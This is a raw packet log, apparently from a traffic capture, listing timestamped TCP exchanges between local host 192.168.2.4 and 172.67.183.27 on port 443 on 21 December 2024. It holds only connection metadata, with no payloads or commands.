Dec 21, 2024 20:13:45.767687082 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.768666029 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.768717051 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.884396076 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.884471893 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.886917114 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.886965036 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.916307926 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.916321993 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.916399956 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.916408062 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.916543961 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.918442011 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.918539047 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.921664953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.921819925 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.924890995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.925035954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.928057909 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.928157091 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.932182074 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.932262897 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.932267904 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.935400009 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.938779116 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.938791990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.938858032 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.938863039 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.938924074 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.946249008 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.946260929 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.946378946 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.946383953 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.946430922 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.953228951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.953241110 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.953289032 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.953291893 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.953356981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.955220938 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.955280066 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.961971998 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.961985111 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:45.962047100 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:45.962049961 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.002170086 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.104216099 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.104243040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.104315996 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.104315996 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.104330063 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.104425907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.107465029 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.107579947 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.110930920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.111139059 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.111145020 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.111226082 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.113997936 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.114057064 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.118268013 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.118499994 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.118542910 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.118551016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.118575096 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.120212078 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.120371103 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.120377064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.120436907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.127767086 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.127779961 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.127887964 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.127895117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.127937078 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.132273912 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.132361889 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.132365942 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.132438898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.135559082 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.135675907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.135680914 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.139513016 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.139590979 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.139595032 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.143374920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.143441916 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.143448114 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.146609068 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.146718025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.146724939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.148670912 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.148756981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.148761988 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.148838997 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.152414083 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.152522087 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.152524948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.152586937 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.269988060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.270052910 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.270057917 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.295710087 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.295794964 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.295800924 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.298772097 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.298852921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.298857927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.302864075 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.302942991 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.302949905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.306314945 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.306385040 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.306390047 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.311465025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.311573029 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.311577082 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.311651945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.312504053 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.312581062 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.316871881 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.316972971 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.316977024 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.317030907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.321463108 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.321537971 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.321542025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.321594954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.325548887 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.325623989 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.325634003 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.325665951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.325689077 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.326463938 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.326586008 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.326591015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.329833031 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.329912901 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.329921007 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.334630013 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.334814072 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.334841967 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.334889889 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.334965944 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.338905096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.338996887 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.339000940 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.339057922 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.340903997 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.340985060 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.461951017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.461967945 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.462048054 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.462065935 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.462105989 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.490149021 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.490160942 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.490226030 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.490231991 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.490376949 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.493705034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.493799925 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.501219034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.501230001 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.501291990 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.501297951 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.501378059 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.507841110 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.507852077 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.507900953 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.507904053 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.507947922 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.515146017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.515156984 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.515227079 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.515230894 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.515269995 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.522595882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.522608995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.522691011 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.522691965 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.522700071 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.522808075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.529594898 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.529607058 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.529731035 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.529736996 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.529793024 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.536833048 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.536855936 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.536919117 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.536919117 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.536925077 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.536979914 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.663902998 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.664052010 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.664060116 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.684962034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.684976101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.685266972 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.685273886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.692161083 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.692172050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.692303896 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.692307949 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.698609114 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.698621988 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.698746920 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.698754072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.698853970 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.700913906 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.701080084 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.708183050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.708194971 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.708317995 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.708326101 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.712162971 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.714778900 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.714791059 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.714911938 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.714917898 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.715049028 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.718884945 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.719057083 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.725856066 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.725867987 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.726078033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.726083040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.726205111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.732244968 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.732397079 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.732402086 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.732466936 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.733321905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.733454943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.857733965 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.857898951 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.857913017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.874583960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.874759912 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.874764919 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.881438017 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.881455898 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.881550074 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.881556034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.888947964 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.888959885 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.889060974 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.889060974 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.889069080 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.889990091 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.890250921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.890256882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.890584946 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.895396948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.895484924 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.895530939 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.895556927 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.895576954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.900484085 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.900665045 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.900701046 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.900738955 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.900836945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.905889988 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.906049967 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.906060934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.906215906 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.910283089 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.910391092 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.910428047 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.910437107 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.910460949 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.915311098 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.916002035 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.916054010 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.916057110 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.916093111 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.917273045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.917356968 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.919213057 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.919264078 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.921624899 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.921685934 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:46.924334049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:46.924407959 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.066128969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.066239119 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.066246986 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.066281080 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.066304922 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.066330910 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.071471930 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.071544886 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.071551085 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.071603060 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.072395086 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.072454929 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.076756001 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.076828957 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.076838970 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.076881886 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.076922894 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.080943108 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.081016064 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.081022978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.081073046 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.082442999 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.082493067 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.088460922 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.088525057 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.088530064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.088570118 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.091670990 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.091722965 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.093795061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.093848944 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.099338055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.099401951 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.099421978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.099455118 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.099483013 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.099492073 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.102344036 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.102401018 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.105562925 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.105618954 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.110388994 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.110459089 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.110464096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.110507965 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.116604090 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.116663933 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.116688013 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.116760969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.116770029 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.158314943 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.258573055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.258663893 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:47.258677006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:47.258718014 CET	443	49737	172.67.183.27	192.168.2.4
